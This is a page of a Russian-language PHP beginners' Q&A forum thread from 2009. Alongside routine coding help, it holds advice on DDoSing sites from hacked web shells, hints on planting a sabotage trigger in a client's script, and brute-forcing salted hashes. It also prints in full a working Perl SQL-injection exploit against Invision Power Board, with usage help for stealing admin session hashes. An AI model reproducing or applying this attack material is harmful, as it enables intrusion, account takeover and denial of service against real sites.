PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 [51] 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

it's my
25.09.2009, 17:08
Чем можно обфусцировать и закодировать php скрипт, что бы при его декоде работоспособность терялась, либо что декодирование вообще было не возможно, либо что нибудь на подобии?

FeraS
25.09.2009, 17:34
Zend

Nightmarе
25.09.2009, 17:47
При появлении ошибки связанной с оперативкой "Memory Limit" в непредвиденных обстоятельствах есть ли возможность её обработать, если она выскакивает, то происходит какое то действие.
?

Krist_ALL
25.09.2009, 18:04
думаю нет т.к в пхпбб стоит обработчик ошибок от пхпбб но он не ловит ошибку с памятью

Nightmarе
25.09.2009, 18:08
Очень жаль если так.

Krist_ALL
25.09.2009, 18:12
скажи своему хостеру чтоб памяти выделил побольше и все

astrologer
25.09.2009, 18:53
Nightmarе, http://dklab.ru/chicken/nablas/45.html

БикБай
25.09.2009, 22:46
Нужна ваша помощь :)
Вобщем у меня знакомый ддосит сайты с шеллов.
т.е. есть главный скрипт "командный центр" в него добавляешь урлы до шеллов. потом добавляешь задание на ддос и собсно все.
Может кто нибудь может подсказать как правильнее ддосить с php? все остальное сам напишу.
Заранее спасибо! :)

m0Hze
25.09.2009, 22:51
Открывай соединение в цыкле,и разрывай после коннекта(сокетами),и так указанное колво раз.Или просто филе_гет_контентс.Но проще сокеты,иполучать просто ХЕАд,без тела.

БикБай
25.09.2009, 22:58
Открывай соединение в цыкле,и разрывай после коннекта(сокетами),и так указанное колво раз.Или просто филе_гет_контентс.Но проще сокеты,иполучать просто ХЕАд,без тела.
спасибо! :)

Byrger
26.09.2009, 17:40
session_name("cxid");
session_start();
$sid=session_id();

Вот так создаётся у меня сессия
Вопрос в том как спрятать сессию в куки а то не красиво когда пользованели видят эту караказяберу в строке браузера.

m0Hze
26.09.2009, 18:14
session_name("cxid");
session_start();
$sid=session_id();

Вот так создаётся у меня сессия
Вопрос в том как спрятать сессию в куки а то не красиво когда пользованели видят эту караказяберу в строке браузера.
Хм, а просто присвоить куке значениесесси,некаг? А пр ивыходе просто бнулять накуй все кукисы,ну и прочее.

Byrger
26.09.2009, 20:00
Хм, а просто присвоить куке значениесесси,некаг? А пр ивыходе просто бнулять накуй все кукисы,ну и прочее.

И что? Круто сессия в куках, а браузер всё равно вставляет в конец ссылки сессию

Kusto
27.09.2009, 00:08
вопрос такой (прошу неплеваться если невозможно) существует скрипт например написанн мной где есть отправка данных, возможно ли прописать такое что если вводиш определенные данные (код который известен только автору) и скрипт уродуеться? (т е не просто например остановка программы а так чтоб переустановив скрипт на другой хостинг он оказался бы нерабочим?) (расчитанно на то что заказчик вообще непонимает в php)

Pashkela
27.09.2009, 00:11
возможно, но бекапы пока никто не отменял

xelex999
27.09.2009, 00:14
Приветствую всех и прошу помочь разобраться:
function generateHash($plainText, $salt = null){
if ($salt === null) {
$salt = substr(md5(uniqid(rand(), true)), 0, SALT_LENGTH); }
else {
$salt = substr($salt, 0, SALT_LENGTH);
}
return $salt . sha1($salt . $plainText);
эта функция генерит хэш 49 символов длинной и не могу понять значения соли она где берет,и почему возврашает именно 49 символов,sha1=40 символов а девять получается от соли.Может кто нить встречался с подобной ситуацией помогите плизз

m0Hze
27.09.2009, 00:27
define("SALT_LENGTH", 2);
function generateHash($plainText, $salt = null)
{
if ($salt === null) {
$salt = substr(md5(uniqid(rand(), true)), 0, SALT_LENGTH);
} else {
$salt = substr($salt, 0, SALT_LENGTH);
}
return $salt . sha1($salt . $plainText);
}
echo generateHash("Hello");

Потому что,длинна соли,ни что иное,как значение константы SALT_LENGTH.
Определи ее в самом начале,как это сделал я,и значение соли будет по твоему усмотрению,в моем случае это 2 символа.

xelex999
27.09.2009, 00:43
дело в том что мне нужно узнать пароль по хэшу,то есть алгоритм декодирования

m0Hze
27.09.2009, 00:49
Повторяю еще раз,смотри чему равна константа define("SALT_LENGTH", *);
Вот то,чему она равна - и есть соль,точнее ее длинна.отреж от конца полученого хеша колво символов взяте за соль,и бруть по соли

xelex999
27.09.2009, 01:00
Спасибо за подсказку смущает строка:if ($salt === null)

m0Hze
27.09.2009, 01:07
Если соль равна нулю.

xelex999
27.09.2009, 01:18
вот и я про тоже если мне неизвестно значение salt_lenth или оно равно нулю как блин етот хэш декодировать,получается никак мда вот так всегда облом на самом интересном

m0Hze
27.09.2009, 01:32
oO
Рассуждая логически:
$salt . sha1($salt . $plainText);
Берем хеш,и отделяем 40 символов с конца - это хеш.
Все что перед ним - соль.
Далее в брут - по маске:
sha1($salt . $pass);
Где $salt = сиволы до хеша,которые мы достаали.Вот собственно и вся трудность.Дяльше тупо брут.

geforse
27.09.2009, 15:47
Как разделить строку на две по первым трём символам ?
1234567890 :)

m0Hze
27.09.2009, 15:56
$text = '1234567890abc';
for ($i = 0; $i < strlen($text); $i++) {
if($i<3){
$result[0] .= $text[$i];
}else{
$result[1] .= $text[$i];
}
}
print_r($result);

Вариант на говнокоде.

KaMiKadZe
27.09.2009, 16:27
Как разделить строку на две по первым трём символам ?
1234567890 :)
Недоконца понял что сделать, но думаю...
$str = "1234567890";
$str1 = substr($str,0,3);
$str2 = substr($str,3);

geforse
27.09.2009, 18:24
m0Hze,KaMiKadZe спасибо :)
Завтра плюсов поставлю)
==============================

Как можно быстро остановить работу скрипта ?
То есть запустил я скрипт, он что-то делает и мне захотелось остановить работу скрипта...такое можно реализовать ? (не предлагать закрыть браузер)

Если нет, то нет...

wildshaman
27.09.2009, 18:30
die();

L I G A
27.09.2009, 18:34
m0Hze,KaMiKadZe спасибо :)
Завтра плюсов поставлю)
==============================

Как можно быстро остановить работу скрипта ?
То есть запустил я скрипт, он что-то делает и мне захотелось остановить работу скрипта...такое можно реализовать ? (не предлагать закрыть браузер)

Если нет, то нет...
скрипт, если я не ошибаюсь с циклом.
пробуй вконце выполняимого кода,что находится в цикле прописать что вроде:
<input type="submit" name="stop" value="Stop">
if($_POST['stop'])
{
exit;
}

Gifts
27.09.2009, 18:47
geforse Проверять наличие файла - если файл исчез - остановить скрипт

L I G A Не получится

geforse
27.09.2009, 18:49
L I G A, нажимаю на стоп и все равно цикл ещё работает секунд 10, но затем останавливается :)

Gifts, отличная идея :)

b3
27.09.2009, 20:11
L I G A
Зачем exit; ? Остановка цикла выполняется оператором break;

L I G A
27.09.2009, 20:25
L I G A
Зачем exit; ? Остановка цикла выполняется оператором break;
зачем?
просто после этого цикла может еще содержаться код ,который через break не прервется.
А вобще это зависит от кода что находится после цикла.

mailbrush
27.09.2009, 21:17
geforse, в цикле
if(!file_exists('STOP')) exit;
Захочешь остановить скрипт - удали файл STOP (который ты создашь до начала выполнения скрипта)

b3
28.09.2009, 05:15
зачем?
просто после этого цикла может еще содержаться код ,который через break не прервется.
А вобще это зависит от кода что находится после цикла.
Ну просто изначально не нужно писать гавнокоды, тогда будет всеравно что находится ДО цикла или ПОСЛЕ и можно будет останавливать цикл break;

crazy~driver
28.09.2009, 10:35
Подскажите можно ли средствами php как-нибудь подключить внешний файл на свою страницу а дальше продолжить выполнение скрипта
(я имею в виду что-то типа такого include "http://mysite.com/conf/bd.php" );

Gray_Wolf
28.09.2009, 10:49
Можно.
http://ru2.php.net/file_get_contents

Patronik
28.09.2009, 14:39
Захотел сделать простой интернет магазин, но вот проблемка обнаружилась когда дошел до записи в переменные сесии выбраных покупателем товаров то застрял так как в сесии не получаеться записать несколько товаров а каждий следующий товар заменяет предидущий, а надо чтобы все отдельно хранились. Делаю вообщем так
<?php
if( isset($_GET['category']) )
{
$category = $_GET['category'];
}
else
{
$category = "all";
}
echo'<div align="center"><table border = "1">';
echo'<tr> <th width="150"></th> <th width="150">Имя товара</th> <th width="150">Описание</th> <th width="150">Цена</th> <th width="50"></th> ';

$resalt = getTovaru($category);
while( $row = mysql_fetch_array($resalt) )

{
$tovarId = $row['tovar_id'];
$tovarName = $row['tovar_name'];
$tovarImage = $row['tovar_image'];
$tovarDescriptions = $row['tovar_descriptions'];
$tovarPrice = $row['tovar_price'];
$tovarCount = $row['tovar_count'];
echo '<tr> <th width="150"><img src="image/'.$tovarImage.'.jpg" width="75" height="75"></th> <th width="150"> '.$tovarName.'</th> <th width="150">'.$tovarDescriptions.'</th> <th width="150">'.$tovarPrice.'</th>';
if($tovarCount>0)
{
echo '<th width="50"><a href="http://www.shop.ua/basket.php?id='.$tovarId.'&nazva='.$tovarName.'&price='.$tovarPrice.'">Купить</a></th> ';
}
else
{
echo '<th width="50"><font color="red">Нет</font></th>';
}

if ( isset($_SESSION['userAdmin']) )
{
echo '<th width="50"> <a href= "http://www.shop.ua/update.php?tovarid='.$tovarId.'">Редактировать</a></th>';
}
echo '</tr>';
}

echo'</table></div>';
?>
ето был листинг вывода товаров, и даные про выбраный товар планирую передавать гетом по ссилку на страницу basket.php где думаб выводить содержымое баскета.
Листинг basket.php
<?php
session_start();

?>
<html>

<head>
<title>basket</title>
</head>

<body>
<?php
if( sizeof($_GET) != 0 )
{ $id = $_GET['id'];
$_SESSION['id']['nazva'] = $_GET['id']['nazva'];
$_SESSION['id']['price'] = $_GET['id']['price'];
}

foreach($_SESSION as $value)
{
echo ''.$value.' <br>';
}


?>

</body>

</html>

Подскажите пожалуйста что не так.

m0Hze
28.09.2009, 14:54
$_SESSION['id']['nazva'] = $_GET['id']['nazva'];
$_SESSION['id']['price'] = $_GET['id']['price'];

Ты каждый раз перезаписываей переменну

restart_05
28.09.2009, 15:30
к примеру из слова длинной 50 символов нужно вырезать 20 и заменить эти 20 на ... как можно сделать ??

m0Hze
28.09.2009, 15:32
$new_text = preg_replace('#^(.*){20}#','replace',$text);

restart_05
28.09.2009, 15:36
спс

TSP
28.09.2009, 18:20
я ничево не понял про РНР код
явставляю в прогу а потом куда ево сматреть незнаю

REBUUS
28.09.2009, 18:22
куда ты пхп код вставляешь ???

Deathdreams
28.09.2009, 22:39
Программа выглядит так.
В ней одно поле: "UIN: " и нужно с помощью php запустить файл со значением UIN и нажать на кнопку "OK".

Помогите :)

Корвин
28.09.2009, 23:02
помогите плиз, вот такой код, почему-то неправильно работает


<?
echo $content->parent_id."__".$сhildren[$i]->id_content;

if($content->parent_id == $children[$i]->id_content)
{
?>
_1<div style="display:block;">
<?
}
else
{
?>
_2<div style="display:none;">
<?
}
?>


выдает : 6322__6322 _2

а должен 6322__6322 _1

все, лаг был какой то, просто заново все написал и заработало

Failure
28.09.2009, 23:19
сори но как то ты по дебильному написал) другого слова не подберу, почему не так?

<?php
echo $content->parent_id."__".$сhildren[$i]->id_content;

if($content->parent_id == $children[$i]->id_content)
{echo "_1<div style=\"display:block;\">";}
else
{
echo "_2<div style=\"display:none;\">
}
?>

Корвин
28.09.2009, 23:22
сори но как то ты по дебильному написал) другого слова не подберу, почему не так?

<?php
echo $content->parent_id."__".$сhildren[$i]->id_content;

if($content->parent_id == $children[$i]->id_content)
{echo "_1<div style=\"display:block;\">";}
else
{
echo "_2<div style=\"display:none;\">
}
?>


сперва я написал примерно так, но когда не сработало стал расписывать по полочкам, все уже , заработало, просто переписал

ЗЫ а ты зачем юзаешь \" если можно чередовать двойные кавычки и одинарные

Корвин
28.09.2009, 23:25
и вообще самый грамотный код будет выглядеть так:



if($content->parent_id == $сhildren[$i]->id_content)
echo '<div style="display:block;">';
else
echo '<div style="display:none;">';

mailbrush
28.09.2009, 23:34
Корвин, неа :)
echo $content->parent_id == $сhildren[$i]->id_content ? '<div style="display:block;">' : '<div style="display:none;">';

Корвин
29.09.2009, 20:27
Корвин, неа :)
echo $content->parent_id == $сhildren[$i]->id_content ? '<div style="display:block;">' : '<div style="display:none;">';


ну да, так тоже мона=)

fobofob
30.09.2009, 00:12
срочно нужна помощь! вообщем нужен простенький скрипт на пхп чтоб он удалил в заданной папке во всех файлах с заданным расширением ненужное слово.
отблагодарю

Fepsis
30.09.2009, 01:01
срочно нужна помощь! вообщем нужен простенький скрипт на пхп чтоб он удалил в заданной папке во всех файлах с заданным расширением ненужное слово.
отблагодарю
На скорую руку :rolleyes:
<?php

echo'<form method="post">
Папка
<input type="text" name="dir">
Раcширение (например txt)
<input type="text" name="type">
Ненужное слово
<input type="text" name="word">
<input type="submit" value="OK">
</form>';


if(isset($_POST['dir']) && !empty($_POST['dir']))
{
$allfiles = scandir($_POST['dir']);

foreach ($allfiles as $file)
{
$type = strrchr($file, '.');
if ($type == '.'.$_POST['type'])
{
$f = file_get_contents($_POST['dir']."/".$file);
$g = str_replace($_POST['word'], '', $f);
if (strlen($f) !== strlen($g))
{
$ff = fopen($_POST['dir']."/".$file, 'w');
fwrite($ff, $g);
fclose($ff);
}
}
}

}

?>

mff
30.09.2009, 01:26
Научите дурака, как правильно делать, если передаётся переменная в запросе, http://site.ru/index.php?search=... как грамотно проверить:
if(если есть переменная search в запросе ){то делать это}
if(если есть переменная top в запросе ){то делать это}
if(и если нет переменной search и переменной top в запросе ){то делать это}

Спасибо!

fobofob
30.09.2009, 01:29
спасибо большое,самое оно получилось!!

d_x
30.09.2009, 01:29
if(isset($_GET['search']) && !is_array($_GET['search']))
{
//делаем первое
}
else if(isset($_GET['top']) && !is_array($_GET['top']))
{
//второе
}
else
{
//третье
}

mff
30.09.2009, 01:34
d_x, спасибо, а если search передаётся через форму? Как быть?

Epic wave
30.09.2009, 01:38
d_x, спасибо, а если search передаётся через форму? Как быть?
от метода зависит если method="post"; то

$a=$_POST['search'];

mff
30.09.2009, 01:39
А какой писать метод? Я как то post всегда в форме писал ...

Epic wave
30.09.2009, 01:40
значит
$a=$_POST['search'];

в $a у тебя будет значение search

REBUUS
30.09.2009, 01:53
А какой писать метод? Я как то post всегда в форме писал ...

смотря что и какой размер передаешь

если в адресе виден то метод post. если не видет то GET

REBUUS
30.09.2009, 01:59
значит
$a=$_POST['search'];

в $a у тебя будет значение search


или если в адресе не видно


$a=$_GET['search'];

в $a у тебя будет значение search


если я правильно понял вопрос :D

Epic wave
30.09.2009, 02:05
или если в адресе не видно


$a=$_GET['search'];

в $a у тебя будет значение search


если я правильно понял вопрос :D


в $_GET значение ченрез url передается, а $_POST передает данные внутри тела запроса

Insane bboy
30.09.2009, 02:06
вопрос: к примеру скрипт index.php:
<?php
include 'conf.php';//файл конфига в котором переменные $a и $b
function table()//выводим форму с помощью которой мы можем изменить переменные $a и $b в conf.php
{
global $a;
global $b;
echo <<<HERE
<form method = "post" >
<input type ="text"name="aa" SIZE= "3" value="$a"/>
<input type ="text"name="bb" SIZE= "3" value="$b"/>
<input type = "submit" name = "save_conf" value=" Save "/>
</form>
HERE;
}
table();
if(isset($_POST['save_conf']))
{
//тут проверка данных
//если все нормально меняем введенными данными, значения переменных в conf.php
unset($_POST['save_conf']);//это наверно лишнее?
header("Location: index.php");
}
?>
сообственно вопрос, почему когда я ввел в поле\поля значения, нажал save и страница обновилась, value="$a" value="$b" показывают старые значения, хотя в файле conf.php все измнилось
старался как можно понятнее обьяснить:) но суть в том чтоб, когда я вношу изменения, обнавлялась страница и я видел эти измения, как это реализовать? а то что то пробую и ничего не получается, вместо header("Location: index.php"); пробывал javascript но все без толку.. :(

REBUUS
30.09.2009, 02:11
вопрос: к примеру скрипт index.php:
<?php
include 'conf.php';//файл конфига в котором переменные $a и $b
function table()//выводим форму с помощью которой мы можем изменить переменные $a и $b в conf.php
{
global $a;
global $b;
echo <<<HERE
<form method = "post" >
<input type ="text"name="aa" SIZE= "3" value="$a"/>
<input type ="text"name="bb" SIZE= "3" value="$b"/>
<input type = "submit" name = "save_conf" value=" Save "/>
</form>
HERE;
}
table();
if(isset($_POST['save_conf']))
{
//тут проверка данных
//если все нормально меняем введенными данными, значения переменных в conf.php
unset($_POST['save_conf']);//это наверно лишнее?
header("Location: index.php");
}
?>
сообственно вопрос, почему когда я ввел в поле\поля значения, нажал save и страница обновилась, value="$a" value="$b" показывают старые значения, хотя в файле conf.php все измнилось
старался как можно понятнее обьяснить:) но суть в том чтоб, когда я вношу изменения, обнавлялась страница и я видел эти измения, как это реализовать? а то что то пробую и ничего не получается, вместо header("Location: index.php"); пробывал javascript но все без толку.. :(

а форма куда передает данные ?

Insane bboy
30.09.2009, 02:17
этому же скрипту передает, ну то есть index.php

Epic wave
30.09.2009, 02:19
этому же скрипту передает, ну то есть index.php
в форме что-то не так. по-моему action="*.php" долден быть

Insane bboy
30.09.2009, 02:21
ну щас попробую. но вроде и так все работает, просто не обновляет страницу:(

Epic wave
30.09.2009, 02:22
в action="здесь php на который данные пересылаются"

Insane bboy
30.09.2009, 02:23
You don't have permission to access /*.php on this server.
ога попробывал:) теперь нифига не пашет:)


Да и вообще чего вы к форме прецепились. она пашет, все там верно, про action я знаю..
у меня там совсем другая трабла!!!вообще не с формой связана

Epic wave
30.09.2009, 02:24
блин, ну вместо звезды твой файл

Insane bboy
30.09.2009, 02:26
блин да пашет форма, значение передается скрипту index.php

b3
30.09.2009, 03:53
Выложи весь код, иначе так гадать будем до нового года

wwa76
30.09.2009, 08:09
Помогите пожалуйста разобраться вот с этим сплоитом:


#!/usr/bin/perl
use IO::Socket;

# # # #
# # # #
# # # #
# ## #### ## #
## ## ###### ## ##
## ## ###### ## ##
## ## #### ## ##
### ############ ###
########################
##############
######## ########## #######
### ## ########## ## ###
### ## ########## ## ###
### # ########## # ###
### ## ######## ## ###
## # ###### # ##
## # #### # ##
## ##

## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX:
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Пару слов о возвращаемом эксплоитом результате:
## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с
## помощью которого можно войти на форум под любым юзером без ввода пароля.
## member_id это также одноименное значение из кукиса.
## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените
## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


if (@ARGV < 5)
{
print "-------------------------------------------------------------------------\r\n";
print " Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "usage:\r\n";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n";
print "SERVER - server where IPB installed\r\n";
print "/DIR/ - IPB directory or / for no directory\r\n";
print "FORUM_NUM - number of existing forum\r\n";
print "TOPIC_NUM - number of existing topic\r\n";
print "SID - your session id\r\n";
print "[TABLE_PREFIX] - table prefix in database\r\n";
print "[USER_ID] - user id for exploiting\r\n\r\n";
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

if (@ARGV < 6) { $get_table = 1; }

$server = $ARGV[0];
$dir = $ARGV[1];
$fnum = $ARGV[2];
$tnum = $ARGV[3];
$sid = $ARGV[4];
$prefix = $ARGV[5];
$id = $ARGV[6];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] FORUM: $fnum\r\n";
print "[>] TOPIC: $tnum\r\n";
print "[>] SID: $sid\r\n";
print "[>] PREFIX: $prefix\r\n";
print "[>] ID: $id\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1)
{
$path .= "&qpid=r57"
}
else
{
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1 ,1,1,CONCAT(id,char(58),name,char(58),member_login _key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
}
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";

$suc =0;

if ($get_table == 1)
{
while ($answer = <$socket>)
{
if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"; $suc = 1; }
}
if (!$suc) { print "Exploit failed\r\n"; }
exit();
}

print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------\r\n";
if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }
else { print "Exploit failed\r\n"; }



# milw0rm.com [2004-11-22]



какие именно строчки в нем надо редактировать и что в них писать для того что бы стянуть хеш админа?
если заюзать этот вот что получается...:

C:\>Perl\sploits\3.pl [адрес форума]/1 1
-------------------------------------------------------------------------
Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
-------------------------------------------------------------------------
usage:
r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]

SERVER - server where IPB installed
/DIR/ - IPB directory or / for no directory
FORUM_NUM - number of existing forum
TOPIC_NUM - number of existing topic
SID - your session id
[TABLE_PREFIX] - table prefix in database
[USER_ID] - user id for exploiting

e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_

Gray_Wolf
30.09.2009, 09:13
Мда, вам же скрипт сказал что надо писать...

C:\>Perl\sploits\3.pl [адрес форума] / [**] [ваш SID из куков] [префикс таблиц, скорее всего ibf_] [ID юзера, чей хеш надо узнать]

*,** - хз что это за поля, почитайте описание сплойта.

.::BARS::.
30.09.2009, 11:34
Insane bboy

кеш почисти и проверь....
если изменились данные на новые... то дело в кешировании...

Gef3Dx
30.09.2009, 13:07
Всем привет!

Хочу научиться писать парсер!
1. С чего начать?
2. Что для этого нужно?

Deathdreams
30.09.2009, 13:51
1) Google, ищи мануалы.
2)Смотря парсер чего, нужно знания языка.

min7
30.09.2009, 13:57
Gef3Dx, изучай регулярки http://pyha.ru/forum/topic/19.0. Смотри примеры на ачате в теме http://forum.antichat.ru/thread92492.html

REBUUS
30.09.2009, 14:25
ПХП злодеи, кто может из из уина аси в пхп вытаскивать инфо , интересует город

krypt3r
30.09.2009, 14:44
Самый простой вариант - грабить страницу http://www.icq.com/people/full_details_show.php?uin=[тут_уин] =)

Gef3Dx
30.09.2009, 14:47
1) Google, ищи мануалы.
2)Смотря парсер чего, нужно знания языка.

Gef3Dx, изучай регулярки http://pyha.ru/forum/topic/19.0. Смотри примеры на ачате в теме http://forum.antichat.ru/thread92492.html

php я хорошо знаю! Есть схема или порядок написания парсера???

Gray_Wolf
30.09.2009, 14:50
php я хорошо знаю! Есть схема или порядок написания парсера???

1. Получение контента.
2. Парсинг контента.
3. Занесение контента в БД.

Это если по простому...

REBUUS
30.09.2009, 14:52
ПХП злодеи, кто может из из уина аси в пхп вытаскивать инфо , интересует город

Самый простой вариант - грабить страницу http://www.icq.com/people/full_details_show.php?uin=[тут_уин] =)

хорошая идея ++ тебе

а другие варианты есть ?

Isis
30.09.2009, 16:28
хорошая идея ++ тебе

а другие варианты есть ?
Разобрать icq class?

min7
30.09.2009, 16:47
Вот как вариант:
<?
$url = file_get_contents("http://www.icq.com/people/about_me.php?uin=тут номер аси");
preg_match('#<div class="uinf-2-2-2-4">(.*)?</div>#', $url, $city);
print $city[1];
?>

FeraS
30.09.2009, 18:41
Ребят помогите.

Есть скрипт:

<?php
if ($_SERVER['REQUEST_URI'] == "/php_scripts/")
echo "<li id=\"nav-p-selected\"><a href=\"/php_scripts/\" id=\"nav-p-selected-a\">php</a>";
else
echo "<li id=\"nav-p1\"><a href=\"/php_scripts/\">php</a>";
?>

т.е. проверяем, если мы на сайте в каталоге /php_scripts/, то выводим выделенным ссылку, а если мы на главной, то выводим по-другому.

Это все работает, но надо еще проверять если мы в каком-либо подкаталоге каталога /php_scripts/, то ссылку выводить также, как если бы мы были в каталоге /php_scripts/.

Помогите с реализацией.

phpdreamer
30.09.2009, 19:01
Полный адрес к скрипту

<?php
echo "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
?>

Используй массив $_SERVER для построения ссылки

Bel_kin
30.09.2009, 20:19
<HTML>
<HEAD>
<TITLE>HTML Form</TITLE>
</HEAD>
<BODY>
<style type="text/css">
.agree {
width: 100%; /* Ширина в процентах */
height: 100px; /* Высота в пикселах */
}
</style>
<FORM ACTION="index.php" METHOD=POST>
<TEXTAREA NAME="List" ROWS=5 COLS=40></TEXTAREA>
<TEXTAREA NAME="List2" ROWS=5 COLS=40></TEXTAREA>
<INPUT TYPE=SUBMIT NAME="SUBMIT" VALUE="Submit">
</FORM>
<?php
$List=$_POST["List"];
$List2=$_POST["List2"];
$str = trim($List);
$str2 = trim($List2);
$Array = explode ("\n", $str);
$Array2 = explode ("\n", $str2);
$NewList = implode ("", $Array);
$NewList2 = implode ("", $Array2);
$Soups = array(
"$NewList"=>"$NewList2"
);
$Line = each ($Soups);
print ("$Line[key];$Line[value]\n");
?>
</BODY>
</HTML>
Вот мой скрипт генерации email;pass . В первое поле надо вводить email каждый с новой строки - а во второе поле pass.
Но сейчас не выходит его сделать. Надо чтоб каждое значение массива key было через разделитель ; до value массивов.
Что я сделал не так, как єто исправить

min7
30.09.2009, 20:28
У меня возникла такая проблема. Захотел написать брутер ответов к тестам testing.mtuci.ru, но запнулся уже на этапе авторизации, почему-то post не отсылается. Подскажите в чём проблема?
<?php
function post($url,$post)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)");
curl_setopt($ch, CURLOPT_COOKIEJAR, "/cook.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "/cook.txt");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
$result = post("http://testing.mtuci.ru/list.php","p=1%D1%D108017&h="); //авторизация
$result = post("http://testing.mtuci.ru/test_session.php","user_test_choice=747695"); //выбор теста
echo $result;
?>

d_x
30.09.2009, 20:57
Bel_kin, думаю, php для такого не обязательно задействовать:

<html><body><script language='JavaScript'>
function build()
{
var a=document.getElementById('list1').value.replace(/\r/g,'').split("\n");
var b=document.getElementById('list2').value.replace(/\r/g,'').split("\n");
len=a.length;
if(len!=b.length)
{
alert('Разные длины списков или списки не заполнены!');
return false;
}

var list3=document.getElementById('list3');
list3.value="";

var div=document.getElementById('div').value;

for(var i=0;i<len;i++)
{
list3.value=list3.value+a[i]+div+b[i]+"\n";
}
}
</script>
<table border=0 cellpadding=1 cellspacing=1>
<tr>
<td>Адреса:<br><textarea rows=25 cols=35 id='list1'></textarea></td>
<td>Пароли:<br><textarea rows=25 cols=35 id='list2'></textarea></td>
<td>Результат:<br><textarea rows=25 cols=35 id='list3'></textarea></td>
</tr>
